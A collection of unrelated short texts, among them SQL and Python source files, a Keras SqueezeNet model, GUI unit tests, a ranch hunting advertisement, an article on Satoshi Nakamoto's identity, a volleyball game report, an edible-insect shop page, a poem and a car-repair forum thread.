SELECT aiorest_auth_token.id, `name`, `token`, `created`,
`expired`, `user_id`
FROM aiorest_auth_token
INNER JOIN aiorest_auth_user
ON aiorest_auth_token.user_id=aiorest_auth_user.id
WHERE name=? AND username=?;
"""
SQL_TOKEN_ADD = """
INSERT INTO aiorest_auth_token (`name`, `token`, `expired`, `user_id`)
VALUES (?, ?, ?, ?);
"""
TOKEN_MODEL_FIELDS = ('id', 'name', 'token', 'created', 'expired', 'user_id')
|
Running Creek Ranch is a full-time, Black Angus cattle operation with ranches in southeast Mississippi and Louisiana. Significantly, the ranch raises its own corn, milo, millet, wheat, and soybean, a fact that tremendously contributes to the propagation of quail and pheasant on the Ranch. These small grain crops, along with the high rolling grass pastures, hardwood bottomland, upland timber tracts, and clear “running creeks,” is the formula for a fantastic hunt, breathtaking views of the ranchland, and an opportunity to enjoy the company of your hunting buddies in the real sport of kings, upland wing shooting.
Wingshooting or “bird hunting” as it is affectionately called in the Deep South, is a southern family tradition that brings together friends and family from the first cool, crisp days of fall to the end of winter. No other sporting hunt has these important bonding qualities. The Ranch caters to individuals, social groups, corporate client entertainment or families. Please join us for a hunting experience like no other.
|
# -*- coding: utf-8 -*-
#
# This file is part of Linux Show Player
#
# Copyright 2012-2016 Francesco Ceruti <ceppofrancy@gmail.com>
#
# Linux Show Player is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Linux Show Player is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Linux Show Player. If not, see <http://www.gnu.org/licenses/>
from collections import OrderedDict
from PyQt5 import QtCore
from PyQt5.QtCore import Qt, QT_TRANSLATE_NOOP
from PyQt5.QtGui import QIcon
from PyQt5.QtWidgets import QDialog, QGridLayout, QLabel, QWidget, QTabWidget, \
QTextBrowser, QDialogButtonBox
import lisp
from lisp.ui.ui_utils import translate
class About(QDialog):
LICENSE = '''
<p>
Linux Show Player is free software: you can redistribute it and/or<br />
modify it under the terms of the GNU General Public License as published by<br />
the Free Software Foundation, either version 3 of the License, or<br />
(at your option) any later version.<br />
<br />
Linux Show Player is distributed in the hope that it will be useful,<br />
but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the<br />
GNU General Public License for more details.
</p>
'''
DESCRIPTION = QT_TRANSLATE_NOOP('AboutDialog',
'Linux Show Player is a cue-player designed for stage productions.')
WEB_SITE = 'http://linux-show-player.sourceforge.net'
USER_GROUP = 'http://groups.google.com/group/linux-show-player---users'
SOURCE_CODE = 'https://github.com/FrancescoCeruti/linux-show-player'
CONTRIBUTORS = OrderedDict({
QT_TRANSLATE_NOOP('About', 'Authors'): [
('Francesco Ceruti', 'ceppofrancy@gmail.com')
],
QT_TRANSLATE_NOOP('About', 'Contributors'): [
('Yinameah', 'https://github.com/Yinameah'),
('nodiscc', 'https://github.com/nodiscc'),
('Thomas Achtner', 'info@offtools.de')
],
QT_TRANSLATE_NOOP('About', 'Translators'): [
('aroomthedoomed', 'https://github.com/aroomthedoomed'),
('fri', 'https://www.transifex.com/user/profile/fri'),
('Luis García-Tornel', 'tornel@gmail.com'),
('miharix', 'https://github.com/miharix'),
('Olivier Humbert - français', 'trebmuh@tuxfamily.org')
],
})
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.setWindowModality(QtCore.Qt.ApplicationModal)
self.setWindowTitle(translate('About', 'About Linux Show Player'))
self.setMaximumSize(500, 420)
self.setMinimumSize(500, 420)
self.resize(500, 420)
self.setLayout(QGridLayout())
self.iconLabel = QLabel(self)
self.iconLabel.setPixmap(
QIcon.fromTheme('linux-show-player').pixmap(100, 100))
self.layout().addWidget(self.iconLabel, 0, 0)
self.shortInfo = QLabel(self)
self.shortInfo.setAlignment(Qt.AlignCenter)
self.shortInfo.setText('<h2>Linux Show Player {0}</h2>'
'Copyright © Francesco Ceruti'
.format(str(lisp.__version__)))
self.layout().addWidget(self.shortInfo, 0, 1)
self.layout().addWidget(QWidget(), 1, 0, 1, 2)
# Information tabs
self.tabWidget = QTabWidget(self)
self.layout().addWidget(self.tabWidget, 2, 0, 1, 2)
self.info = QTextBrowser(self)
self.info.setOpenExternalLinks(True)
self.info.setHtml('''
<center><br />{0}<br /><br />
<a href="{1}">{2}</a><br />
<a href="{3}">{4}</a><br />
<a href="{5}">{6}</a><br /><center>'''.format(
translate('AboutDialog', self.DESCRIPTION),
self.WEB_SITE, translate('AboutDialog', 'Web site'),
self.USER_GROUP, translate('AboutDialog', 'Users group'),
self.SOURCE_CODE, translate('AboutDialog', 'Source code'))
)
self.tabWidget.addTab(self.info, translate('AboutDialog', 'Info'))
self.license = QTextBrowser(self)
self.license.setOpenExternalLinks(True)
self.license.setHtml(self.LICENSE)
self.tabWidget.addTab(self.license, translate('AboutDialog', 'License'))
self.contributors = QTextBrowser(self)
self.contributors.setOpenExternalLinks(True)
self.contributors.setHtml(self.__contributors())
self.tabWidget.addTab(self.contributors,
translate('AboutDialog', 'Contributors'))
# Ok button
self.buttons = QDialogButtonBox(QDialogButtonBox.Ok)
self.buttons.accepted.connect(self.accept)
self.layout().addWidget(self.buttons, 3, 1)
self.layout().setColumnStretch(0, 1)
self.layout().setColumnStretch(1, 3)
self.layout().setRowStretch(0, 6)
self.layout().setRowStretch(1, 1)
self.layout().setRowStretch(2, 16)
self.layout().setRowStretch(3, 3)
self.buttons.setFocus()
def __contributors(self):
text = ''
for section, people in self.CONTRIBUTORS.items():
text += '<u><b>{0}:</b></u><br />'.format(translate('About',
section))
for person in people:
text += person[0]
if '://' in person[1]:
text += ' - <a href="{0}">{1}</a>'.format(
person[1], person[1][person[1].index('://')+3:])
elif person[1]:
text += ' - <a href="mailto:{0}">{0}</a>'.format(person[1])
text += '<br />'
text += '<br />'
return text
|
While we may not know who he (or she) was, we know what he did. Satoshi Nakamoto was the inventor of the bitcoin protocol, publishing a paper via the Cryptography Mailing List in November 2008.
He then released the first version of the bitcoin software client in 2009, and participated with others on the project via mailing lists, until he finally began to fade from the community toward the end of 2010.
Nakamoto worked with people on the open-source team, but took care never to reveal anything personal about himself, and the last anyone heard from him was in the spring of 2011, when he said that he had “moved on to other things”.
But he was Japanese, right?
Best not to judge a book by its cover. Or in fact, maybe we should.
“Satoshi” means “clear thinking, quick witted; wise”. “Naka” can mean “medium, inside, or relationship”. “Moto” can mean “origin”, or “foundation”.
Those things would all apply to the person who founded a movement by designing a clever algorithm. The problem, of course, is that each word has multiple possible meanings.
We can’t know for sure whether he was Japanese or not. In fact, it’s rather presumptuous to assume that he was actually a ‘he’.
We’re just using that as a figure of speech, but allowing for the fact that this could have been a pseudonym, ‘he’ could have been a ‘she’, or even a ‘they’.
Does anyone know who Nakamoto was?
No, but the detective techniques that people use when guessing are sometimes even more intriguing than the answer. The New Yorker’s Joshua Davis believed that Satoshi Nakamoto was Michael Clear, a graduate cryptography student at Dublin’s Trinity College.
He arrived at this conclusion by analyzing 80,000 words of Nakamoto’s online writings, and searching for linguistic clues. He also suspected Finnish economic sociologist and former games developer Vili Lehdonvirta.
Both have denied being bitcoin’s inventor. Michael Clear publicly denied being Satoshi at the 2013 Web Summit.
Adam Penenberg at FastCompany disputed that claim, arguing instead that Nakamoto may actually have been three people: Neal King, Vladimir Oksman, and Charles Bry. He figured this out by typing unique phrases from Nakamoto’s bitcoin paper into Google, to see if they were used anywhere else.
One of them, “computationally impractical to reverse,” turned up in a patent application made by these three for updating and distributing encryption keys. The bitcoin.org domain name originally used by Satoshi to publish the paper had been registered three days after the patent application was filed.
It was registered in Finland, and one of the patent authors had traveled there six months before the domain was registered. All of them deny it. Michael Clear also publicly denied being Satoshi at the 2013 Web Summit.
In any case, when bitcoin.org was registered on August 18th 2008, the registrant actually used a Japanese anonymous registration service, and hosted it using a Japanese ISP. The registration for the site was only transferred to Finland on May 18th 2011, which weakens the Finland theory somewhat.
Others think that it was Martii Malmi, a developer living in Finland who has been involved with bitcoin since the beginning, and developed its user interface.
A finger has also been pointed at Jed McCaleb, a lover of Japanese culture and resident of Japan, who created troubled bitcoin exchange Mt. Gox and co-founded decentralized payment systems Ripple and later Stellar.
Another theory suggests that computer scientists Donal O’Mahony and Michael Peirce are Satoshi, based on a paper that they authored concerning digital payments, along with Hitesh Tewari, based on a book that they published together. O’Mahony and Tewari also studied at Trinity College, where Michael Clear was a student.
Israeli scholars Dorit Ron and Adi Shamir of the Weizmann Institute retracted allegations made in a paper suggesting a link between Satoshi and Silk Road, the black market web site that was taken down by the FBI in October 2013. They had suggested a link between an address allegedly owned by Satoshi, and the site. Security researcher Dustin D. Trammell owned the address, and disputed claims that he was Satoshi.
In May 2013, Internet pioneer Ted Nelson threw another hat into the ring: Japanese mathematician Professor Shinichi Mochizuki, although he admits that the evidence is circumstantial at best.
In February 2014, Newsweek’s Leah McGrath Goodman claimed to have tracked down the real Satoshi Nakamoto. Dorian S Nakamoto has since denied he knows anything about bitcoin, eventually hiring a lawyer and releasing an official statement to that effect.
Hal Finney, Michael Weber, Wei Dai and several other developers were among those who are periodically named in media reports and online discussions as potential Satoshis. A group of forensic linguistics experts from Aston University believe the real creator of bitcoin is Nick Szabo, based upon analysis of the Bitcoin White Paper.
Dominic Frisby, a comedian and a writer, also suggests that BitGold creator Szabo was the most likely candidate to be Satoshi in his book, “Bitcoin: The Future of Money”. His detailed analysis involved the linguistics of Satoshi’s writing, judging the level of technical skill in C++ and even Satoshi’s likely birthday.
In Nathaniel Popper’s book, ‘Digitial Gold‘, released in May 2015, Popper reveals that in a rare encounter at an event Szabo again denied that he was Satoshi.
Then in early December 2015, reports by Wired and Gizmodo tentatively claimed to have identified Nakamoto as Australian entrepreneur Craig S Wright. WIRED cited “an anonymous source close to Wright” who provided a cache of emails, transcripts and other documents that point to Wright’s role in the creation of bitcoin. Gizmodo cited a cache of documents sourced from someone claiming to have hacked Wright’s business email account, as well as efforts to interview individuals close to him. The idea that the Wright-Satoshi connection is nothing but a hoax has been floated by observers, though the compelling nature of the evidence published will no doubt fuel speculation for some time to come.
For the most part, all of these potential Satoshi’s have insisted they are not Nakamoto.
So what do we know about him?
One thing we know, based on interviews with people that were involved with him at an early stage in the development of bitcoin, is that he thought the system out very thoroughly.
His coding wasn’t conventional, according to core developer Jeff Garzik, in that he didn’t apply the same rigorous testing that you would expect from a classic software engineer.
An analysis by Sergio Lerner, an authority on bitcoin and cryptography, suggests that Satoshi mined many of the early blocks in the bitcoin network, and that he had built up a fortune of around 1 million unspent bitcoins. That hoard would be worth $1bn at November 2013’s exchange rate of $1,000.
There are rumors, of course. People have interpreted his name as meaning “central intelligence”, but people will see whatever they want to see. Such is the nature of conspiracy theories.
The obvious question would be why one of the three-letter agencies would be interested in creating a cryptocurrency that would subsequently be used as an anonymous trading mechanism, causing senators and the FBI alike to wring their hands about potential terrorism and other criminal endeavours. No doubt conspiracy theorists will have their views on that, too.
Moreover, it was smart to use a pseudonym, he argues, because it forced people to focus on the technology itself rather than on the personality behind it. At the end of the day, bitcoin is now far bigger than Satoshi Nakamoto.
Having said that, if the real Satoshi Nakamoto is out there – get in touch!
Whether you already own bitcoin or plan to get some, you’ll want to know how much their worth.
|
import os
import shutil
import sys
import tempfile
import unittest
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
import boiler
class BoilerTests(unittest.TestCase):
def setUp(self):
self.boiler = boiler.Boiler()
self.temp_dirs = []
def tearDown(self):
for temp_dir in self.temp_dirs:
shutil.rmtree(temp_dir)
def _mkdtemp(self):
temp_dir = tempfile.mkdtemp(prefix='test-temp-', dir=os.curdir)
self.temp_dirs.append(temp_dir)
return temp_dir
def _write_file(self, filename, contents):
with open(filename, 'w') as f:
f.write(contents)
def _read_file(self, filename):
with open(filename) as f:
return f.read()
def test_templates_dir_default(self):
"""
A Boiler object should expose a `templates_dir` variable which
is a string and defaults to the absolute path of a `.boiler` folder
in the user's home directory.
"""
expected_dir = os.path.abspath(os.path.expanduser('~/.boiler'))
actual_dir = self.boiler.templates_dir
self.assertEqual(expected_dir, actual_dir)
def test_templates_dir_cli_arg(self):
"""
A Boiler object should expose a 'parse_arguments' method
which accepts a `--templates-dir=DIR` argument which sets the Boiler's
`templates_dir` variable.
"""
self.boiler.parse_arguments(['--templates-dir=/foo/bar'])
expected_dir = '/foo/bar'
actual_dir = self.boiler.templates_dir
self.assertEqual(expected_dir, actual_dir)
def test_output_dir_default(self):
"""
A Boiler object should expose an `output_dir` variable which
is a string and defaults to the current directory.
"""
expected_dir = os.curdir
actual_dir = self.boiler.output_dir
self.assertEqual(expected_dir, actual_dir)
def test_output_dir_cli_arg(self):
"""
A Boiler object should expose a 'parse_arguments' method
which accepts a `--output-dir=DIR` argument which sets the Boiler's
`output_dir` variable.
"""
self.boiler.parse_arguments(['--output-dir=../qux'])
expected_dir = '../qux'
actual_dir = self.boiler.output_dir
self.assertEqual(expected_dir, actual_dir)
def test_apply_boilerplate(self):
"""
A Boiler object should expose an `apply_boilerplate` method which
accepts a template name and copies the like-named file from its current
templates_dir folder into its current output_dir folder.
"""
templates_dir = self.boiler.templates_dir = self._mkdtemp()
output_dir = self.boiler.output_dir = self._mkdtemp()
template_name = 'foo.tmpl'
template_path = os.path.join(templates_dir, template_name)
output_path = os.path.join(output_dir, template_name)
self._write_file(template_path, 'Hello, world!')
self.boiler.apply_boilerplate(template_name)
output = self._read_file(output_path)
self.assertEqual(output, 'Hello, world!')
def test_cli_arg_parse_ok(self):
"""
A Boiler object should expose a `parse_arguments` method which returns
True when the arguments parse successfully.
"""
self.assertTrue(self.boiler.parse_arguments([]))
self.assertTrue(self.boiler.parse_arguments(['--templates-dir=/']))
self.assertTrue(self.boiler.parse_arguments(['--output-dir=.']))
def test_cli_arg_parse_fail(self):
"""
A Boiler object should expose a `parse_arguments` method which returns
False if any argument fails to parse.
"""
self.assertFalse(self.boiler.parse_arguments(['--fail']))
self.assertFalse(self.boiler.parse_arguments([
'--templates-dir=/', '--nope']))
def test_stderr(self):
"""
A Boiler object should expose a `stderr` variable which defaults to
`sys.stderr`.
"""
self.assertIs(self.boiler.stderr, sys.stderr)
def test_usage(self):
"""
A Boiler object should expose a `print_usage` method which prints
information to the Boiler's `stderr` variable, then raises 'SystemExit'.
"""
stderr = self.boiler.stderr = StringIO()
with self.assertRaises(SystemExit):
self.boiler.print_usage()
self.assertNotEqual(stderr.getvalue(), '')
def test_template_list_default(self):
"""
A Boiler object should expose a `template_list` variable which defaults
to an empty list.
"""
self.assertEqual(self.boiler.template_list, [])
def test_template_list_cli_arg(self):
"""
A Boiler object should expose a `parse_arguments` method which accepts
positional arguments and uses them to populate the Boiler's
`template_list` variable.
"""
self.boiler.parse_arguments(['foo.tmpl', 'bar', 'bam.qux'])
expected = ['foo.tmpl', 'bar', 'bam.qux']
actual = self.boiler.template_list
self.assertSequenceEqual(expected, actual)
def test_main_ok(self):
"""
A Boiler object should expose a `main` method which forwards its
argument to parse_arguments, then (if parse_arguments returns True)
calls apply_boilerplate with each element of the `template_list`
variable.
"""
parse_argument_calls = []
apply_calls = []
def mock_parse_arguments(args):
self.assertSequenceEqual([], parse_argument_calls)
parse_argument_calls.append(args)
self.boiler.template_list = ['blue', 'red', 'green']
return True
def mock_apply(arg):
apply_calls.append(arg)
self.boiler.parse_arguments = mock_parse_arguments
self.boiler.apply_boilerplate = mock_apply
self.boiler.main(['--foo', '--bar=bam', 'hallo'])
self.assertSequenceEqual([['--foo', '--bar=bam', 'hallo']],
parse_argument_calls)
self.assertSequenceEqual(['blue', 'red', 'green'], apply_calls)
def test_main_empty(self):
"""
A Boiler object should expose a `main` method which forwards its
argument to parse_arguments, then (if template_list is empty)
calls print_usage.
"""
usage_calls = []
def mock_parse_arguments(args):
self.boiler.template_list = []
return True
def mock_usage():
usage_calls.append(0)
self.boiler.parse_arguments = mock_parse_arguments
self.boiler.print_usage = mock_usage
self.boiler.main([])
self.assertSequenceEqual([0], usage_calls)
def test_main_fail(self):
"""
A Boiler object should expose a `main` method which forwards its
argument to parse_arguments, then (if parse_arguments returns False)
calls print_usage.
"""
class MockSystemExit(Exception):
pass
usage_calls = []
def mock_parse_arguments(args):
self.boiler.template_list = ['foo']
return False
def mock_usage():
usage_calls.append(0)
raise MockSystemExit
self.boiler.parse_arguments = mock_parse_arguments
self.boiler.print_usage = mock_usage
with self.assertRaises(MockSystemExit):
self.boiler.main([])
self.assertSequenceEqual([0], usage_calls)
if __name__ == '__main__':
unittest.main()
|
OREM – Somehow, somewhere along the way, a transformation took place for the Desert Hills volleyball team.
The result: a state championship.
The Thunder came back from a 2-1 deficit to rival Snow Canyon in the 3A State Championship game and emerged as winners, 25-11, 23-25, 18-25, 25-19, 15-12.
Desert Hills won Region 9, winning a similar come-from-behind victory at Snow Canyon back in mid-September. But the Thunder dropped a straight set defeat at home to the Lady Warriors just two weeks ago and many volleyball fans started to wonder if Snow Canyon wasn’t the team to beat at state, rather than the Thunder.
Desert Hills turned the pressure up on the season and made an impressive run through state. The Thunder whipped through Payson, Juan Diego and Delta, losing just one game along the way. After the Juan Diego match, it started to appear that Region 9 would have both the Thunder and the Warriors in the championship.
That’s the kind of respect the teams have around the state for Snow Canyon, which has played in either the 3A or 4A title game for seven straight years, winning five of those along the way.
The Warriors also cruised through the state tournament’s first three rounds. Snow Canyon thrashed Spanish Fork in straight sets in the first round and did the same to Judge Memorial in the quarterfinals.
That set up what was supposed to be an epic semifinal with another powerhouse, Morgan High. Instead, the Warriors dispatched the Lady Trojans with little trouble, sending them to the consolation bracket in straight sets.
That set up Saturday night’s final between a pair of southern Utah rivals.
DH came out hot and won the first game easily, 25-11. The Warriors used their size and smarts to capture the next two games and put themselves just one game from another championship.
But Desert Hills capitalized on some excellent serving to keep the Warriors off balance and took Game 4 25-19, setting up the fifth and deciding game.
Game 5’s in high school volleyball are to 15, with the usual rally scoring in place. But the Thunder served so well, they may not have needed rally scoring and certainly kept the normally sharp passing Warriors out of sync.
The 15-12 fifth-game win set off a celebration for the Desert Hills team, which took its first volleyball title in the five-year school history.
Snow Canyon will have to settle for second place for the second straight year. And southern Utah will have a new champion to shoot for with the Thunder now on top of the 3A volleyball world.
|
from collections import Counter
import random
class RandomizedCollection(object):
def __init__(self):
"""
Initialize your data structure here.
"""
self.counter = Counter()
self.redundant = Counter()
self.array = []
def insert(self, val):
"""
Inserts a value to the collection. Returns true if the collection did not already contain the specified element.
:type val: int
:rtype: bool
"""
self.counter[val] += 1
if self.redundant[val] == 0:
self.array.append(val)
else:
self.redundant[val] -= 1
return self.counter[val] == 1
def remove(self, val):
"""
Removes a value from the collection. Returns true if the collection contained the specified element.
:type val: int
:rtype: bool
"""
ret = False
if self.counter[val]:
ret = True
self.counter[val] -= 1
self.redundant[val] += 1
return ret
def getRandom(self):
"""
Get a random element from the collection.
:rtype: int
"""
while True:
idx = random.randint(0, len(self.array) - 1)
v = self.array[idx]
if self.counter[v] and (self.redundant[v] == 0 or random.random() * (self.counter[v] + self.redundant[v]) < self.counter[v]):
break
else:
self.array[idx] = self.array[-1]
self.array.pop()
self.redundant[v] -= 1
return v
# Your RandomizedCollection object will be instantiated and called as such:
# obj = RandomizedCollection()
# param_1 = obj.insert(val)
# param_2 = obj.remove(val)
# param_3 = obj.getRandom()
|
Edible Bug Shop breeds our edible insects on our purpose built farm located in Western Sydney. The way our bugs are processed makes sure they are completely safe to eat and comply with Australian Food Standards. These standards relate to good manufacturing standards, hygiene, labeling and food safety standards.
We do not recommend eating live, raw (uncooked) or bugs from your garden. These can contain chemical contaminants as well as various parasites that can be passed onto humans (the same as in some traditional sources of protein).
This website contains useful information about all of our products, including allergen and nutritional information, our food safety statement, as well as recipes and ways to prepare your edible bugs. We recommend that you read the information given with each individual product before you place your order, to make sure that is is suitable for you. The bottom of each product page will contain a nutritional panel, as well as allergen information specific to the product you are ordering.
If you have a question please Bug Us through our contact page! One of our Food Scientists will get back to you with detailed information.
You can find specific allergen information about each of our products on the product page before you make your purchase. We comply with good manufacturing processes to help control the allergens present in each food item, however people that are allergic to SHELLFISH shellfish should not eat edible insects, and can have an adverse reaction to them.
|
# -*- coding: utf-8 -*-
import sys,getopt,got,datetime,codecs
def main(argv):
if len(argv) == 0:
print 'You must pass some parameters. Use \"-h\" to help.'
return
if len(argv) == 1 and argv[0] == '-h':
print """\nTo use this jar, you can pass the folowing attributes:
username: Username of a specific twitter account (without @)
since: The lower bound date (yyyy-mm-aa)
until: The upper bound date (yyyy-mm-aa)
querysearch: A query text to be matched
maxtweets: The maximum number of tweets to retrieve
\nExamples:
# Example 1 - Get tweets by username [barackobama]
python Exporter.py --username "barackobama" --maxtweets 1\n
# Example 2 - Get tweets by query search [europe refugees]
python Exporter.py --querysearch "europe refugees" --maxtweets 1\n
# Example 3 - Get tweets by username and bound dates [barackobama, '2015-09-10', '2015-09-12']
python Exporter.py --username "barackobama" --since 2015-09-10 --until 2015-09-12 --maxtweets 1\n
# Example 4 - Get the last 10 top tweets by username
python Exporter.py --username "barackobama" --maxtweets 10 --toptweets\n"""
return
try:
opts, args = getopt.getopt(argv, "", ("username=", "since=", "until=", "querysearch=", "toptweets", "maxtweets="))
tweetCriteria = got.manager.TweetCriteria()
for opt,arg in opts:
if opt == '--username':
tweetCriteria.username = arg
elif opt == '--since':
tweetCriteria.since = arg
elif opt == '--until':
tweetCriteria.until = arg
elif opt == '--querysearch':
tweetCriteria.querySearch = arg
elif opt == '--toptweets':
tweetCriteria.topTweets = True
elif opt == '--maxtweets':
tweetCriteria.maxTweets = int(arg)
outputFile = codecs.open("output_got.csv", "w+", "utf-8")
outputFile.write('username;date;retweets;favorites;text;geo;mentions;hashtags;id;permalink')
print 'Searching...\n'
def receiveBuffer(tweets):
for t in tweets:
outputFile.write(('\n%s;%s;%d;%d;"%s";%s;%s;%s;"%s";%s' % (t.username, t.date.strftime("%Y-%m-%d %H:%M"), t.retweets, t.favorites, t.text, t.geo, t.mentions, t.hashtags, t.id, t.permalink)))
outputFile.flush();
print 'More %d saved on file...\n' % len(tweets)
got.manager.TweetManager.getTweets(tweetCriteria, receiveBuffer)
except arg:
print 'Arguments parser error, try -h' + arg
finally:
outputFile.close()
print 'Done. Output file generated "output_got.csv".'
if __name__ == '__main__':
main(sys.argv[1:])
|
And I know where I heard it first.
She sang and I knew what it meant.
And played the strains of symphony.
He read me Shakespeare, played guitar.
The theatres played just for us.
I knew he loved me just because.
A child of God – I knew it then.
|
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# SqueezeNet v1.0 with complex bypass (i.e., transition convolution on identify link) (2016)
# Paper: https://arxiv.org/pdf/1602.07360.pdf
import tensorflow as tf
from tensorflow.keras import Input, Model
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Concatenate, Add, Dropout
from tensorflow.keras.layers import GlobalAveragePooling2D, Activation
def stem(inputs):
''' Construct the Stem Group
inputs : input tensor
'''
x = Conv2D(96, (7, 7), strides=2, padding='same', activation='relu',
kernel_initializer='glorot_uniform')(inputs)
x = MaxPooling2D(3, strides=2)(x)
return x
def learner(x):
''' Construct the Learner
x : input to the learner
'''
# First Fire group, progressively increase number of filters
x = group(x, [16, 16, 32])
# Second Fire group
x = group(x, [32, 48, 48, 64])
# Last Fire block
x = fire_block(x, 64)
# Dropout is delayed to end of fire modules
x = Dropout(0.5)(x)
return x
def group(x, filters):
''' Construct a Fire Group
x : input to the group
filters: list of number of filters per block in group
'''
for n_filters in filters:
x = fire_block(x, n_filters)
# Delayed downsampling
x = MaxPooling2D((3, 3), strides=2)(x)
return x
def fire_block(x, n_filters):
''' Construct a Fire Block with complex bypass
x : input to the block
n_filters: number of filters in block
'''
# remember the input (identity)
shortcut = x
# if the number of input filters does not equal the number of output filters, then use
# a transition convolution to match the number of filters in identify link to output
if shortcut.shape[3] != 8 * n_filters:
shortcut = Conv2D(n_filters * 8, (1, 1), strides=1, activation='relu',
padding='same', kernel_initializer='glorot_uniform')(shortcut)
# squeeze layer
squeeze = Conv2D(n_filters, (1, 1), strides=1, activation='relu',
padding='same', kernel_initializer='glorot_uniform')(x)
# branch the squeeze layer into a 1x1 and 3x3 convolution and double the number
# of filters
expand1x1 = Conv2D(n_filters * 4, (1, 1), strides=1, activation='relu',
padding='same', kernel_initializer='glorot_uniform')(squeeze)
expand3x3 = Conv2D(n_filters * 4, (3, 3), strides=1, activation='relu',
padding='same', kernel_initializer='glorot_uniform')(squeeze)
# concatenate the feature maps from the 1x1 and 3x3 branches
x = Concatenate()([expand1x1, expand3x3])
# if identity link, add (matrix addition) input filters to output filters
if shortcut is not None:
x = Add()([x, shortcut])
return x
def classifier(x, n_classes):
''' Construct the Classifier
x : input to the classifier
n_classes: number of output classes
'''
# set the number of filters equal to number of classes
x = Conv2D(n_classes, (1, 1), strides=1, activation='relu', padding='same',
kernel_initializer='glorot_uniform')(x)
# reduce each filter (class) to a single value
x = GlobalAveragePooling2D()(x)
x = Activation('softmax')(x)
return x
# The input shape
inputs = Input((224, 224, 3))
# The Stem Group
x = stem(inputs)
# The Learner
x = learner(x)
# The Classifier
outputs = classifier(x, 1000)
model = Model(inputs, outputs)
|
I have checked the alternator pulley when I checked the others and it seems fine. Alternator also tested good at Autozone.
I'm certain it's from the rear of the engine, I just don't know what it could be.
Did you ever find out the chirping noise?
This thread is over 7 years old man. From his description, it was coming from the clutch area. Probably the throw out bearing.
Thanks Captain Obvious on the timeframe of this post. I’m trying to find a solution, no one provides a follow up with this issue....It’s not TOB! If you read this post, he replaced and still same issue. It’s not a belt, it’s not a pulley, it’s not a TOB!
well captain don't know how to start my own thread. Start your own thread. Maybe you won't **** off the people that are trying to help you.
also, which college education did you have to get to figure out that when he pressed the clutch in, that it wasn't a pulley or belt? I thought all transmission were driven by the same pulley as the water pump?
|
from __future__ import print_function
import sys
import os
# hack our sys argv path to match BASEDIRECTORY
sys.argv[0] = os.path.abspath(os.path.join(os.path.dirname(sys.argv[0]), os.pardir, 'pygwa.py'))
import unittest
from PyQt5 import QtGui, QtCore
from PyQt5.QtTest import QTest
from PyQt5.QtCore import Qt
import numpy as np
import matplotlib.pyplot as plt
from lib.mainWindow import MainWindow
from lib import projectPath
"""
to run this test
$ git clone https://github.com/cdd1969/pygwa.git pygwa
$ cd pygwa
$ python -m tests.test_01 -v
"""
app = QtGui.QApplication(sys.argv)
plt.ion() #enable matplotlib interactive mode
if '-v' in sys.argv:
log = True
else:
log = False
class FlowchartNodesTest(unittest.TestCase):
'''Test different nodes in PyGWA GUI'''
def setUp(self):
'''Create the GUI'''
self.form = MainWindow()
self.form._unittestmode = True
self.fc = self.form.fc
self.nodeTypes = self.form.uiData.fclib().getNodeList()
def tearDown(self):
plt.close('all')
self.form.close()
del self.form
if log: print('')
def readXLS(self, path=None):
''' Read XLS and return the node'''
if path is None:
# now set test_data file
path = projectPath('../TUTORIALS/test_data.xlsx')
n = self.fc.createNode('readXLS', pos=(0, 0))
p = n.ctrlWidget().param #alias to method
p('Select File').setValue(path)
#set some params...
p('Parameters', 'skiprows').setValue(0)
p('Parameters', 'skip_footer').setValue(0)
p('Parameters', 'na_values').setValue(u'---')
#load data
p('Load File').activate()
return n
def test_01_init(self):
'''Test the GUI in its default state by initializing it'''
print ('sys.argv = ', sys.argv)
def test_02_add_nodes(self):
''' Test GUI by adding number of nodes'''
for nodeType in self.nodeTypes:
if log: print ('\tadding node `{0}`...'.format(nodeType), end='')
self.fc.createNode(nodeType, pos=(0, 0))
if log: print ('ok')
def test_03_node_readXLS(self):
''' Add Node `readXLS`, load data'''
self.readXLS()
def test_04_node_QuickView(self):
''' Connect node QuickView to readXLS and view data'''
readXLS = self.readXLS()
QuickView = self.fc.createNode('QuickView', pos=(0, 0))
self.fc.connectTerminals(readXLS['output'], QuickView['In'])
QTest.mouseClick(QuickView.ctrlWidget().pushButton_viewTable, Qt.LeftButton)
#QuickView.ctrlWidget().twWindow.close()
QTest.mouseClick(QuickView.ctrlWidget().pushButton_viewPlot, Qt.LeftButton)
def test_05_node_TimeseriesPlot(self):
''' Load data, create two curves with node `makeTimeseriesCurve` and plot them with node `TimeseriesPlot`'''
readXLS = self.readXLS()
curve1 = self.fc.createNode('makeTimeseriesCurve', pos=(0, 0))
curve2 = self.fc.createNode('makeTimeseriesCurve', pos=(0, 0))
plotNode = self.fc.createNode('TimeseriesPlot', pos=(0, 0))
self.fc.connectTerminals(readXLS['output'], curve1['df'])
self.fc.connectTerminals(readXLS['output'], curve2['df'])
curve1.ctrlWidget().p.param('Y:signal').setValue(u'River')
curve1.ctrlWidget().p.param('tz correct').setValue(1.2)
self.fc.connectTerminals(curve1['Curve'], plotNode['Curves'])
self.fc.connectTerminals(curve2['Curve'], plotNode['Curves'])
plotNode.ctrlWidget().p.param('Y:Label').setValue('test label')
plotNode.ctrlWidget().p.param('Y:Units').setValue('test units')
plotNode.ctrlWidget().p.param('Crosshair').setValue(True)
plotNode.ctrlWidget().p.param('Data Points').setValue(True)
plotNode.ctrlWidget().p.param('Plot').activate()
def test_06_node_StatisticalAnalysis(self):
''' Load data, perform stat analysis'''
readXLS = self.readXLS()
statAnalysis = self.fc.createNode('Plot Histogram', pos=(0, 0))
